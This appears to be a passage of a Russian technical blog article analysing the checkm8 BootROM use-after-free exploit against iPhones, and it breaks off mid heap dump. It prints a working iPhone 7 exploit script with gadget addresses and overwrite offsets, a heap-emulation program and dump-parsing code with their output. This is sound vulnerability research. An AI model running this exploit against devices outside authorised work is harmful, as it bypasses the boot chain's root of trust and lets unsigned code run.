С большой вероятностью вы уже слышали про нашумевший эксплойт checkm8, использующий неисправимую уязвимость в BootROM
большинства iDevice-ов, включая iPhone X
. В этой статье мы приведем технический анализ эксплойта и разберемся в причинах уязвимости. Всем заинтересовавшимся — добро пожаловать под кат!
Вы можете ознакомиться с английской версией статьи тут.
Введение
Для начала коротко опишем процесс загрузки iDevice и выясним, какое место в нем занимает BootROM
(также его могут называть SecureROM
) и для чего он нужен. Довольно подробная информация об этом есть здесь. Упрощенно процесс загрузки можно изобразить следующим образом:
BootROM
— первое, что исполняет процессор при включении устройства. Основные задачи BootROM
:
- Инициализация платформы (установка необходимых регистров платформы, инициализация
CPU
и т.д.) - Проверка и передача управления на следующую ступень загрузки
BootROM
поддерживает парсингIMG3/IMG4
образовBootROM
имеет доступ кGID
ключу для расшифровки образов- Для проверки образов в
BootROM
встроен публичный ключApple
, и есть необходимая функциональность для работы с криптографией
- Восстановление устройства при невозможности дальнейшей загрузки (
Device Firmware Update
,DFU
)
У BootROM
очень маленький размер, и его можно назвать урезанной версией iBoot
, так как они разделяют большую часть системного и библиотечного кода. Однако, в отличие от iBoot
, BootROM
нельзя обновить. Он помещается во внутреннюю read-only память при изготовлении устройства. BootROM
— это аппаратный корень доверия цепочки загрузки. Уязвимости в нем могут позволить получить контроль над дальнейшим процессом загрузки и исполнять неподписанный код на устройстве.
Появление checkm8
Эксплойт checkm8
был добавлен в утилиту ipwndfu ее автором axi0mX 27 сентября 2019. Тогда же он анонсировал обновление у себя в твиттере, сопроводив тред описанием эксплойта и дополнительной информацией. Из треда можно узнать, что use-after-free
уязвимость в коде USB
была найдена автором в процессе патч-диффинга iBoot
для iOS 12 beta
летом 2018 года. Как было замечено ранее, у BootROM
и iBoot
много общего кода, в том числе код для USB
, из-за чего эта уязвимость актуальна и для BootROM
.
Из кода эксплойта также следует, что уязвимость эксплуатируется в DFU
. Это режим, в котором на устройство по USB
можно передать подписанный образ, который впоследствии будет загружен. Это может потребоваться, например, для восстановления устройства при неудачном обновлении.
В тот же день пользователь littlelailo сообщил, что нашел эту уязвимость еще в марте и опубликовал ее описание в файле apollo.txt. Описание соответствовало тому, что происходит в коде checkm8
, однако оно не до конца проясняет детали работы эксплойта. Поэтому мы и решили написать эту статью и описать все детали эксплуатации вплоть до исполнения полезной нагрузки в BootROM
включительно.
Мы проводили анализ эксплойта, опираясь на упомянутые ранее материалы, а также на утекший в феврале 2018 года исходный код iBoot/SecureROM
. Мы также использовали данные, полученные экспериментальным путем на нашем тестовом устройстве — iPhone 7
(CPID:8010
). С помощью checkm8
мы сняли с него дампы SecureROM
и SecureRAM
, которые помогли нам при анализе.
Необходимые знания о USB
Обнаруженная уязвимость находится в коде USB
, поэтому необходимы некоторые знания об этом интерфейсе. Полную спецификацию можно прочитать тут, но она довольно объемная. Отличным материалом, которого более чем достаточно для дальнейшего понимания, является USB in a NutShell. Здесь мы приведем лишь самое необходимое.
Существуют различные типы передачи данных по USB
. В DFU
используется только режим Control Transfers
(про него можно прочитать по ссылке). Каждая транзакция в этом режиме состоит из трех стадий:
Setup Stage
— на этой стадии отправляетсяSETUP
-пакет, который состоит из следующих полей:
bmRequestType
— описывает направление, тип и получателя запросаbRequest
— определяет, какой именно запрос производитсяwValue
,wIndex
— в зависимости от запроса могут быть интерпретированы по-разномуwLength
— длинна принимаемых/передаваемых данных вData Stage
Data Stage
— опциональная стадия, на которой происходит передача данных. В зависимости отSETUP
-пакета из предыдущей стадии это может быть отправка данных от хоста к устройству (OUT
) или наоборот (IN
). Данные при этом отправляются небольшими порциями (в случаеApple DFU
— это 0x40 байт).
- Когда хост хочет передать очередную порцию данных, он отправляет
OUT
-токен, после чего отправляются сами данные. - Когда хост готов принять данные от устройства, он отправляет
IN
-токен, в ответ на который устройство отправляет данные.
- Когда хост хочет передать очередную порцию данных, он отправляет
Status Stage
— завершающая стадия, на которой сообщается статус всей транзакции.
- Для
OUT
-запросов хост отправляетIN
-токен, в ответ на который устройство должно отправить пакет данных нулевой длины. - Для
IN
-запросов хост отправляетOUT
-токен и пакет данных нулевой длины.
- Для
OUT
— и IN
-запросы представлены на схеме ниже. Мы намеренно убрали из описания и схемы взаимодействия ACK
, NACK
и другие пакеты хендшейка, так как они не играют особой роли в самом эксплойте.
Анализ apollo.txt
Мы начали анализ с разбора уязвимости из документа apollo.txt. В нем описывается алгоритм работы DFU
-режима:
https://gist.github.com/littlelailo/42c6a11d31877f98531f6d30444f59c4
- When usb is started to get an image over dfu, dfu registers an interface to handle all the commands and allocates a buffer for input and output
- if you send data to dfu the setup packet is handled by the main code which then calls out to the interface code
- the interface code verifies that wLength is shorter than the input output buffer length and if that's the case it updates a pointer passed as an argument with a pointer to the input output buffer
- it then returns wLength which is the length it wants to recieve into the buffer
- the usb main code then updates a global var with the length and gets ready to recieve the data packages
- if a data package is recieved it gets written to the input output buffer via the pointer which was passed as an argument and another global variable is used to keep track of how many bytes were recieved already
- if all the data was recieved the dfu specific code is called again and that then goes on to copy the contents of the input output buffer to the memory location from where the image is later booted
- after that the usb code resets all variables and goes on to handel new packages
- if dfu exits the input output buffer is freed and if parsing of the image fails bootrom reenters dfu
Сначала мы сопоставили описанные шаги с исходным кодом iBoot
. Так как мы не можем использовать фрагменты утекшего исходного кода в статье, мы будем показывать псевдокод, полученный методом реверс-инжиниринга SecureROM
нашего iPhone 7
в IDA
. Вы же с легкостью можете найти исходный код iBoot
и ориентироваться по нему.
При инициализации режима DFU
выделяется IO
-буфер и регистрируется USB
-интерфейс для обработки запросов к DFU
:
При поступлении SETUP
-пакета запроса к DFU
вызывается соответствующий обработчик интерфейса. В случае успешного выполнения OUT
-запроса (например, при передаче образа) обработчик должен по указателю вернуть адрес IO
-буфера для транзакции и размер данных, которые ожидает получить. При этом адрес буфера и размер ожидаемых данных сохраняются в глобальных переменных.
Обработчик интерфейса для DFU
представлен на скриншоте ниже. Если запрос корректный, то по указателю возвращается адрес IO
-буфера, аллоцированного на стадии инициализации DFU
, и длина ожидаемых данных, которая берется из SETUP
-пакета.
Во время Data Stage
каждая порция данных записывается в IO
-буфер, после чего адрес IO
-буфера сдвигается и обновляется счетчик полученных данных. После получения всех ожидаемых данных вызывается обработчик данных интерфейса и очищается глобальное состояние передачи.
В обработчике данных DFU
полученные данные перемещаются в область памяти, из которой в дальнейшем будет происходить загрузка. Судя по исходному коду iBoot
, эту область памяти в Apple
называют INSECURE_MEMORY
.
При выходе из режима DFU
выделенный ранее IO
-буфер будет освобожден. Если в DFU
-режиме образ был успешно получен, произойдут его проверка и загрузка. Если же во время работы DFU
-режима произошла какая-то ошибка или загрузить полученный образ невозможно, произойдет повторная инициализация DFU
, и всё начнется сначала.
В описанном алгоритме и кроется use-after-free
уязвимость. Если при загрузке отправить SETUP
-пакет и завершить транзакцию, пропустив Data Stage
, глобальное состояние останется инициализированным при повторном входе в цикл DFU
, и мы сможем писать по адресу IO
-буфера, выделенного на предыдущей итерации DFU
.
Разобравшись с уязвимостью use-after-free
, мы задались вопросом: каким образом во время следующей итерации DFU
можно перезаписать что-либо? Ведь перед повторной инициализацией DFU
все выделенные ранее ресурсы освобождаются, и расположение памяти в новой итерации должно быть точно таким же. Оказывается, существует еще одна интересная и довольно красивая ошибка утечки памяти, позволяющая эксплуатировать уязвимость use-after-free
, о которой мы расскажем далее.
Анализ checkm8
Перейдем непосредственно к анализу эксплойта checkm8
. Для простоты разберем модифицированную версию эксплойта для iPhone 7
, в которой был убран код, связанный с другими платформами, изменена последовательность и типы USB
-запросов без потери работоспособности эксплойта. Также в данной версии убран процесс построения полезной нагрузки, с ним можно ознакомиться в оригинальном файле checkm8.py
. Понять, в чем состоят отличия версий для других устройств, не должно составить труда.
#!/usr/bin/env python
from checkm8 import *
def main():
print '*** checkm8 exploit by axi0mX ***'
device = dfu.acquire_device(1800)
start = time.time()
print 'Found:', device.serial_number
if 'PWND:[' in device.serial_number:
print 'Device is already in pwned DFU Mode. Not executing exploit.'
return
payload, _ = exploit_config(device.serial_number)
t8010_nop_gadget = 0x10000CC6C
callback_chain = 0x1800B0800
t8010_overwrite = '\0' * 0x5c0
t8010_overwrite += struct.pack('<32x2Q', t8010_nop_gadget, callback_chain)
# heap feng-shui
stall(device)
leak(device)
for i in range(6):
no_leak(device)
dfu.usb_reset(device)
dfu.release_device(device)
# set global state and restart usb
device = dfu.acquire_device()
device.serial_number
libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001)
libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0)
dfu.release_device(device)
time.sleep(0.5)
# heap occupation
device = dfu.acquire_device()
device.serial_number
stall(device)
leak(device)
leak(device)
libusb1_no_error_ctrl_transfer(device, 0, 9, 0, 0, t8010_overwrite, 50)
for i in range(0, len(payload), 0x800):
libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0,
payload[i:i+0x800], 50)
dfu.usb_reset(device)
dfu.release_device(device)
device = dfu.acquire_device()
if 'PWND:[checkm8]' not in device.serial_number:
print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.'
sys.exit(1)
print 'Device is now in pwned DFU Mode.'
print '(%0.2f seconds)' % (time.time() - start)
dfu.release_device(device)
if __name__ == '__main__':
main()
Работу checkm8
можно разделить на несколько стадий:
- Подготовка кучи (
heap feng-shui
) - Аллокация и освобождение
IO
-буфера без очистки глобального состояния - Перезапись
usb_device_io_request
в куче с помощьюuse-after-free
- Размещение полезной нагрузки
- Исполнение
callback-chain
- Исполнение
shellcode
Рассмотрим каждую из стадий подробно.
1. Подготовка кучи (heap feng-shui)
Как нам кажется, это наиболее интересная стадия, и ей мы уделили особое внимание.
stall(device)
leak(device)
for i in range(6):
no_leak(device)
dfu.usb_reset(device)
dfu.release_device(device)
Этот этап необходим для достижения удобного состояния кучи для эксплуатации use-after-free
. Для начала рассмотрим вызовы stall
, leak
, no_leak
:
def stall(device): libusb1_async_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 'A' * 0xC0, 0.00001)
def leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC0, 1)
def no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC1, 1)
libusb1_no_error_ctrl_transfer
— это обертка над device.ctrlTransfer
с игнорированием любых исключений, возникших при выполнении запроса. libusb1_async_ctrl_transfer
— обертка над функцией libusb_submit_transfer
из libusb
для асинхронного выполнения запроса.
Оба вызова принимают следующие параметры:
- Экземпляр устройства
- Данные для
SETUP
-пакета (их описание тут):
bmRequestType
bRequest
wValue
wIndex
- Размер данных (
wLength
) или сами данные дляData Stage
- Таймаут запроса
Аргументы bmRequestType
, bRequest
, wValue
и wIndex
являются общими для всех трех видов запросов. Они означают:
bmRequestType = 0x80
0b1XXXXXXX
— направлениеData Stage
от устройства к хосту (Device to Host)0bX00XXXXX
— стандартный тип запроса0bXXX00000
— получатель запроса — устройство
bRequest = 6
— запрос на получение дескриптора (GET_DESCRIPTOR
)wValue = 0x304
wValueHigh = 0x3
— определяет тип получаемого дескриптора — строка (USB_DT_STRING
)wValueLow = 0x4
— индекс строкового дескриптора, 4 соответствует серийному номеру устройства (в данном случае строка имеет видCPID:8010 CPRV:11 CPFM:03 SCEP:01 BDID:0C ECID:001A40362045E526 IBFL:3C SRTG:[iBoot-2696.0.0.1.33]
)
wIndex = 0x40A
— идентификатор языка строки, его значение не важно для эксплуатации и может быть изменено.
При любом из этих трех запросов в куче выделяется 0x30 байт под объект следующей структуры:
Наиболее интересными полями данного объекта являются callback
и next
.
callback
— указатель на функцию, которая будет вызвана при завершении запроса.next
— указатель на следующий объект того же типа, необходим для организации очереди запросов.
Ключевой особенностью вызова stall
является использование асинхронного исполнения запроса с минимальным таймаутом. За счет этого, если повезет, запрос будет отменен на уровне ОС и останется в очереди исполнения, а транзакция не будет завершена. При этом устройство продолжит принимать все поступающие SETUP
-пакеты и, при необходимости, поместит их в очередь исполнения. В дальнейшем с помощью экспериментов с USB
-контроллером на Arduino
нам удалось выяснить, что для успешной эксплуатации хост должен отправить SETUP
-пакет и IN
-токен, после чего транзакция должна быть отменена по таймауту. Схематично, такую незавершенную транзакцию можно изобразить так:
В остальном запросы отличаются только длиной и всего лишь на единицу. Дело в том, что для стандартных запросов существует стандартный callback
, который выглядит так:
Значение io_length
равно минимуму из wLength
в SETUP
-пакете запроса и оригинальной длины запрашиваемого дескриптора. За счет того, что дескриптор достаточно длинный, мы можем точно контролировать значение io_length
в пределах его длины. Значение g_setup_request.wLength
равно значению wLength
последнего SETUP
-пакета, в данном случае — 0xC1
.
Таким образом, при завершении запросов, сформированных с помощью вызовов stall
и leak
, условие в завершающей callback
-функции выполняется, и вызывается usb_core_send_zlp()
. Этот вызов просто создает нулевой пакет (zero-length-packet
) и добавляет его в очередь исполнения. Это необходимо для корректного завершения транзакции в Status Stage
.
Запрос завершается вызовом функции usb_core_complete_endpoint_io
, которая сначала вызывает callback
, а затем освобождает память запроса. При этом завершение запроса может происходить не только при фактическом завершении всей транзакции, но и при сбросе USB
. Как только будет получен сигнал сброса USB
, будет произведен обход очереди запросов, и каждый из них будет завершен.
За счет выборочного вызова usb_core_send_zlp()
при обходе очереди запросов с их последующим освобождением можно добиться достаточного контроля кучи для эксплуатации use-after-free
. Для начала посмотрим на сам цикл освобождения:
Очередь запросов сначала очищается, потом производится обход отмененных запросов, и они завершаются с помощью вызова usb_core_complete_endpoint_io
. При этом выделенные с помощью usb_core_send_zlp
запросы помещаются в ep->io_head
. После завершения процедуры сброса USB
вся информация о конечной точке будет обнулена, в том числе указатели io_head
и io_tail
, и запросы нулевой длины останутся в куче. Так можно создать чанк небольшого размера посреди всей остальной кучи. На схеме ниже показано, как это происходит:
Куча в SecureROM
устроена таким образом, что новая область памяти выделяется из подходящего свободного чанка наименьшего размера. Создав небольшой свободный чанк описанным выше методом, можно повлиять на выделение памяти при инициализации USB
и на выделение io_buffer
и запросов.
Для лучшего понимания разберемся, какие запросы к куче происходят при инициализации DFU
. В ходе анализа исходного кода iBoot
и реверс-инжиниринга SecureROM
нам удалось получить следующую последовательность:
- Аллокация различных строковых дескрипторов
- 1.1.
Nonce
(размер234
) - 1.2.
Manufacturer
(22
) - 1.3.
Product
(62
) - 1.4.
Serial Number
(198
) - 1.5.
Configuration string
(62
)
- 1.1.
- Аллокация различных строковых дескрипторов
- Аллокации, связанные с созданием таска
USB
-контроллера
- 2.1. Структура таска (
0x3c0
) - 2.2. Стек таска (
0x1000
)
- 2.1. Структура таска (
- Аллокации, связанные с созданием таска
io_buffer
(0x800
)
- Конфигурационные дескрипторы
- 4.1.
High-Speed
(25
) - 4.2.
Full-Speed
(25
)
- 4.1.
- Конфигурационные дескрипторы
Затем происходит аллокация структур запросов. При наличии чанка небольшого размера в середине пространства кучи часть аллокаций из первой категории уйдут в этот чанк, а все остальные аллокации сдвинутся, за счет чего мы сможем переполнить usb_device_io_request
, обратившись к старому буферу. Схематично это можно изобразить следующим образом:
Для расчета необходимого смещения мы решили просто проэмулировать перечисленные выше аллокации, немного адаптировав исходный код кучи iBoot
.
#include "heap.h"
#include <stdio.h>
#include <unistd.h>
#include <sys/mman.h>
#ifndef NOLEAK
#define NOLEAK (8)
#endif
int main() {
void * chunk = mmap((void *)0x1004000, 0x100000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
printf("chunk = %p\n", chunk);
heap_add_chunk(chunk, 0x100000, 1);
malloc(0x3c0); // выравнивание для соответствия младших байт адресов в SecureRAM
void * descs[10];
void * io_req[100];
descs[0] = malloc(234);
descs[1] = malloc(22);
descs[2] = malloc(62);
descs[3] = malloc(198);
descs[4] = malloc(62);
const int N = NOLEAK;
void * task = malloc(0x3c0);
void * task_stack = malloc(0x4000);
void * io_buf_0 = memalign(0x800, 0x40);
void * hs = malloc(25);
void * fs = malloc(25);
void * zlps[2];
for(int i = 0; i < N; i++)
{
io_req[i] = malloc(0x30);
}
for(int i = 0; i < N; i++)
{
if(i < 2)
{
zlps[i] = malloc(0x30);
}
free(io_req[i]);
}
for(int i = 0; i < 5; i++)
{
printf("descs[%d] = %p\n", i, descs[i]);
}
printf("task = %p\n", task);
printf("task_stack = %p\n", task_stack);
printf("io_buf = %p\n", io_buf_0);
printf("hs = %p\n", hs);
printf("fs = %p\n", fs);
for(int i = 0; i < 2; i++)
{
printf("zlps[%d] = %p\n", i, zlps[i]);
}
printf("**********\n");
for(int i = 0; i < 5; i++)
{
free(descs[i]);
}
free(task);
free(task_stack);
free(io_buf_0);
free(hs);
free(fs);
descs[0] = malloc(234);
descs[1] = malloc(22);
descs[2] = malloc(62);
descs[3] = malloc(198);
descs[4] = malloc(62);
task = malloc(0x3c0);
task_stack = malloc(0x4000);
void * io_buf_1 = memalign(0x800, 0x40);
hs = malloc(25);
fs = malloc(25);
for(int i = 0; i < 5; i++)
{
printf("descs[%d] = %p\n", i, descs[i]);
}
printf("task = %p\n", task);
printf("task_stack = %p\n", task_stack);
printf("io_buf = %p\n", io_buf_1);
printf("hs = %p\n", hs);
printf("fs = %p\n", fs);
for(int i = 0; i < 5; i++)
{
io_req[i] = malloc(0x30);
printf("io_req[%d] = %p\n", i, io_req[i]);
}
printf("**********\n");
printf("io_req_off = %#lx\n", (int64_t)io_req[0] - (int64_t)io_buf_0);
printf("hs_off = %#lx\n", (int64_t)hs - (int64_t)io_buf_0);
printf("fs_off = %#lx\n", (int64_t)fs - (int64_t)io_buf_0);
return 0;
}
Вывод программы при 8-ми запросах на этапе heap feng-shui
:
chunk = 0x1004000
descs[0] = 0x1004480
descs[1] = 0x10045c0
descs[2] = 0x1004640
descs[3] = 0x10046c0
descs[4] = 0x1004800
task = 0x1004880
task_stack = 0x1004c80
io_buf = 0x1008d00
hs = 0x1009540
fs = 0x10095c0
zlps[0] = 0x1009a40
zlps[1] = 0x1009640
**********
descs[0] = 0x10096c0
descs[1] = 0x1009800
descs[2] = 0x1009880
descs[3] = 0x1009900
descs[4] = 0x1004480
task = 0x1004500
task_stack = 0x1004900
io_buf = 0x1008980
hs = 0x10091c0
fs = 0x1009240
io_req[0] = 0x10092c0
io_req[1] = 0x1009340
io_req[2] = 0x10093c0
io_req[3] = 0x1009440
io_req[4] = 0x10094c0
**********
io_req_off = 0x5c0
hs_off = 0x4c0
fs_off = 0x540
Очередной usb_device_io_request
окажется по смещению 0x5c0
от начала предыдущего буфера, что соответсвует коду эксплойта:
t8010_overwrite = '\0' * 0x5c0
t8010_overwrite += struct.pack('<32x2Q', t8010_nop_gadget, callback_chain)
В правильности описанных выше рассуждений можно убедиться, проанализировав актуальное содержимое кучи в SecureRAM
, которое мы получили с помощью checkm8
. Мы написали довольно простой скрипт, который парсит дамп кучи и перечисляет чанки. При парсинге стоит учесть, что при переполнении usb_device_io_request
часть метаданных чанков была повреждена, и их мы пропускаем при анализе скриптом.
#!/usr/bin/env python3
import struct
from hexdump import hexdump
with open('HEAP', 'rb') as f:
heap = f.read()
cur = 0x4000
def parse_header(cur):
_, _, _, _, this_size, t = struct.unpack('<QQQQQQ', heap[cur:cur + 0x30])
is_free = t & 1
prev_free = (t >> 1) & 1
prev_size = t >> 2
this_size *= 0x40
prev_size *= 0x40
return this_size, is_free, prev_size, prev_free
while True:
try:
this_size, is_free, prev_size, prev_free = parse_header(cur)
except Exception as ex:
break
print('chunk at', hex(cur + 0x40))
if this_size == 0:
if cur in (0x9180, 0x9200, 0x9280): # пропуск поврежденных чанков
this_size = 0x80
else:
break
print(hex(this_size), 'free' if is_free else 'non-free', hex(prev_size), prev_free)
hexdump(heap[cur + 0x40:cur + min(this_size, 0x100)])
cur += this_size
С выводом скрипта с комментариями можно ознакомиться под спойлером. Видно, что младшие байты адресов совпадают с результатом эмуляции.
chunk at 0x4040
0x40 non-free 0x0 0
chunk at 0x4080
0x80 non-free 0x40 0
00000000: 00 41 1B 80 01 00 00 00 00 00 00 00 00 00 00 00 .A..............
00000010: 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 ................
00000020: FF 00 00 00 00 00 00 00 68 3F 08 80 01 00 00 00 ........h?......
00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................
chunk at 0x4100
0x140 non-free 0x80 0
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
chunk at 0x4240
0x240 non-free 0x140 0
00000000: 68 6F 73 74 20 62 72 69 64 67 65 00 00 00 00 00 host bridge.....
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
chunk at 0x4480 // descs[4], conf string
0x80 non-free 0x240 0
00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.A.p.p.l.e. .M.
00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 o.b.i.l.e. .D.e.
00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 v.i.c.e. .(.D.F.
00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .M.o.d.e.)...
chunk at 0x4500 // task
0x400 non-free 0x80 0
00000000: 6B 73 61 74 00 00 00 00 E0 01 08 80 01 00 00 00 ksat............
00000010: E8 83 08 80 01 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
chunk at 0x4900 // task stack
0x4080 non-free 0x400 0
00000000: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats
00000010: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats
00000020: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats
00000030: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats
00000040: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats
00000050: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats
00000060: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats
00000070: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats
00000080: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats
00000090: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats
000000A0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats
000000B0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats
chunk at 0x8980 // io_buf
0x840 non-free 0x4080 0
00000000: 63 6D 65 6D 63 6D 65 6D 00 00 00 00 00 00 00 00 cmemcmem........
00000010: 10 00 0B 80 01 00 00 00 00 00 1B 80 01 00 00 00 ................
00000020: EF FF 00 00 00 00 00 00 10 08 0B 80 01 00 00 00 ................
00000030: 4C CC 00 00 01 00 00 00 20 08 0B 80 01 00 00 00 L....... .......
00000040: 4C CC 00 00 01 00 00 00 30 08 0B 80 01 00 00 00 L.......0.......
00000050: 4C CC 00 00 01 00 00 00 40 08 0B 80 01 00 00 00 L.......@.......
00000060: 4C CC 00 00 01 00 00 00 A0 08 0B 80 01 00 00 00 L...............
00000070: 00 06 0B 80 01 00 00 00 6C 04 00 00 01 00 00 00 ........l.......
00000080: 00 00 00 00 00 00 00 00 78 04 00 00 01 00 00 00 ........x.......
00000090: 00 00 00 00 00 00 00 00 B8 A4 00 00 01 00 00 00 ................
000000A0: 00 00 0B 80 01 00 00 00 E4 03 00 00 01 00 00 00 ................
000000B0: 00 00 00 00 00 00 00 00 34 04 00 00 01 00 00 00 ........4.......
chunk at 0x91c0 // hs config
0x80 non-free 0x0 0
00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................
00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
chunk at 0x9240 // ls config
0x80 non-free 0x0 0
00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................
00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
chunk at 0x92c0
0x80 non-free 0x0 0
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 6C CC 00 00 01 00 00 00 00 08 0B 80 01 00 00 00 l...............
00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................
chunk at 0x9340
0x80 non-free 0x80 0
00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................
00000010: FF FF FF FF C0 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 48 DE 00 00 01 00 00 00 C0 93 1B 80 01 00 00 00 H...............
00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................
chunk at 0x93c0
0x80 non-free 0x80 0
00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................
00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 40 94 1B 80 01 00 00 00 ........@.......
00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................
chunk at 0x9440
0x80 non-free 0x80 0
00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................
00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................
chunk at 0x94c0
0x180 non-free 0x80 0
00000000: E4 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..C.P.I.D.:.8.0.
00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .C.P.R.V.:.
00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .C.P.F.M.:.
00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .S.C.E.P.:.
00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .B.D.I.D.:.
00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .E.C.I.D.:.
00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6.
00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6.
00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .I.B.F.L.:.3.C.
00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .S.R.T.G.:.[.i.
000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 B.o.o.t.-.2.6.9.
